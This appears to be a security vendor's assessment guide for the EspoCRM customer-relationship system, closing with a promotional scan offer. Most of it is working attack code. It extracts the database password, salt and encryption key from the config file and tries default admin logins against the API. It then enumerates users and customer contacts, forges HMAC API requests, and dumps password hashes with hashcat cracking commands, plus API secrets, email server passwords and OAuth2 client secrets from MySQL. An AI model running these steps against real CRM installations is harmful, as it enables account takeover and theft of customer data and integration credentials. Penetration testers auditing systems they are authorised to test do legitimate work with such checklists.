EspoCRM is a widely deployed open-source CRM used by businesses to manage customer relationships, sales pipelines, and communications. Key assessment areas: data/config.php exposes the MySQL database password and password hash salt; the REST API uses HMAC-SHA256 authentication with API keys stored in the database; admin/admin is the common default credential; and MySQL contains all customer contacts, email integration credentials, and OAuth2 client secrets for external integrations. This guide covers systematic EspoCRM security assessment.
# EspoCRM — data/config.php MySQL credential and salt extraction
ESPO_URL="https://crm.example.com"
# data/config.php — EspoCRM main configuration (CRITICAL)
cat /var/www/espocrm/data/config.php 2>/dev/null
# Returns PHP array with:
# 'database' => [
# 'host' => 'localhost',
# 'dbname' => 'espocrm',
# 'user' => 'espocrm',
# 'password' => '...', <-- MySQL database password
# ],
# 'passwordSalt' => '...', <-- salt used for all user password hashes
# 'cryptKey' => '...', <-- key for encrypted field values
python3 -c "
import re
content = open('/var/www/espocrm/data/config.php').read()
patterns = {
'db_password': r\"'password'\s*=>\s*'([^']+)'\",
'passwordSalt': r\"'passwordSalt'\s*=>\s*'([^']+)'\",
'cryptKey': r\"'cryptKey'\s*=>\s*'([^']+)'\",
'db_name': r\"'dbname'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m:
print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Test default admin credentials
for CRED in "admin:admin" "admin:password" "administrator:admin" "admin:espocrm"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${ESPO_URL}/api/v1/App/user" \
-H "Content-Type: application/json" \
-u "${USER}:${PASS}" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
# 200 = valid credentials; returns user profile JSON
done
# EspoCRM REST API — API key and HMAC authentication assessment
ESPO_URL="https://crm.example.com"
# EspoCRM REST API supports two authentication methods:
# 1. Basic auth: Authorization: Basic base64(username:password)
# 2. HMAC auth: X-Hmac-Authorization header
# Format: base64(apiKey + ":" + HMAC-SHA256(method + " /" + uri, secretKey))
# With valid admin credentials — get current user info
curl -s "${ESPO_URL}/api/v1/App/user" \
-u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'User: {d.get(\"name\")} ({d.get(\"userName\")})')
print(f'Admin: {d.get(\"isAdmin\")}')
print(f'Roles: {d.get(\"roles\")}')
except: pass
" 2>/dev/null
# Enumerate all users via admin API
curl -s "${ESPO_URL}/api/v1/User?maxSize=200" \
-u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for u in d.get('list',[]):
print(f' {u.get(\"userName\")} | {u.get(\"emailAddress\")} | admin={u.get(\"isAdmin\")}')
except: pass
" 2>/dev/null
# Enumerate all contacts (customer PII)
curl -s "${ESPO_URL}/api/v1/Contact?maxSize=200&select=firstName,lastName,emailAddress,phone" \
-u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Total contacts: {d.get(\"total\")}')
for c in d.get('list',[])[:5]:
print(f' {c.get(\"firstName\")} {c.get(\"lastName\")} - {c.get(\"emailAddress\")}')
except: pass
" 2>/dev/null
# HMAC authentication with extracted API key and secret
API_KEY="api-key-from-db"
SECRET_KEY="secret-key-from-db"
METHOD="GET"
URI="api/v1/Contact"
HMAC=$(echo -n "${METHOD} /${URI}" | \
openssl dgst -sha256 -hmac "${SECRET_KEY}" -binary | base64)
AUTH=$(echo -n "${API_KEY}:${HMAC}" | base64)
curl -s "${ESPO_URL}/${URI}" \
-H "X-Hmac-Authorization: ${AUTH}" 2>/dev/null | head -3
# EspoCRM MySQL database — CRM data, email credentials, and integration secrets
DB_PASS="extracted-db-password"
SALT="extracted-passwordSalt"
mysql -u espocrm -p"${DB_PASS}" espocrm 2>/dev/null << 'EOF'
-- User accounts with password hashes
SELECT u.id, u.user_name, u.name, u.email_address,
u.password, -- SHA512(salt + password)
u.is_admin, u.is_active
FROM espo_user u
WHERE u.deleted = 0
ORDER BY u.is_admin DESC
LIMIT 20;
-- Crack: hashcat -m 1700 hash.txt wordlist.txt (SHA-512)
-- with salt prepended: hashcat -m 1710 "hash:salt" wordlist.txt
-- API users with API keys and secrets (plaintext)
SELECT u.user_name, u.api_key, u.secret_key
FROM espo_user u
WHERE u.type = 'api'
AND u.deleted = 0;
-- All contacts (customer PII)
SELECT c.first_name, c.last_name, c.email_address, c.phone_number,
c.account_name, c.description
FROM espo_contact c
WHERE c.deleted = 0
LIMIT 20;
-- Email integration credentials (IMAP/SMTP)
SELECT ea.email_address, ea.host, ea.username,
ea.password, -- email account password (may be encrypted with cryptKey)
ea.smtp_host, ea.smtp_username, ea.smtp_password
FROM espo_email_account ea
WHERE ea.deleted = 0;
-- OAuth2 integration client secrets
SELECT i.name, i.type, i.data -- data contains client_id and client_secret JSON
FROM espo_integration i
WHERE i.enabled = 1;
EOF
| Security Test | Method | Risk |
|---|---|---|
| data/config.php database.password and passwordSalt extraction | Read data/config.php — MySQL credentials plus salt enabling rapid cracking of all espo_user SHA-512 password hashes; cryptKey decrypts email integration passwords | Critical |
| Admin credential brute-force (admin/admin) | POST /api/v1/App/user with Basic auth — full CRM admin access; all contacts, accounts, email integration, OAuth2 secrets | Critical |
| API user key and secret extraction from MySQL | SELECT api_key, secret_key FROM espo_user WHERE type='api' — plaintext API keys; full HMAC-authenticated API access; complete CRM data enumeration | High |
| Email IMAP/SMTP credential extraction | MySQL SELECT password FROM espo_email_account — email integration credentials; may be encrypted with cryptKey from config.php | High |
| OAuth2 client secret extraction | MySQL SELECT data FROM espo_integration — JSON containing OAuth2 client_id and client_secret for Google/Outlook/Salesforce integrations | High |
Ironimo tests EspoCRM deployments for data/config.php database.password and passwordSalt extraction, cryptKey disclosure enabling email credential decryption, admin/admin credential brute-force at /api/v1/App/user, API user key and secret extraction from espo_user type='api', espo_user SHA-512 password hash extraction with salt, customer PII enumeration from espo_contact, email integration IMAP/SMTP credential disclosure from espo_email_account, OAuth2 client secret extraction from espo_integration, data/ directory web-accessible HTTP access assessment, and API rate limiting absence for credential stuffing testing.
Start free scan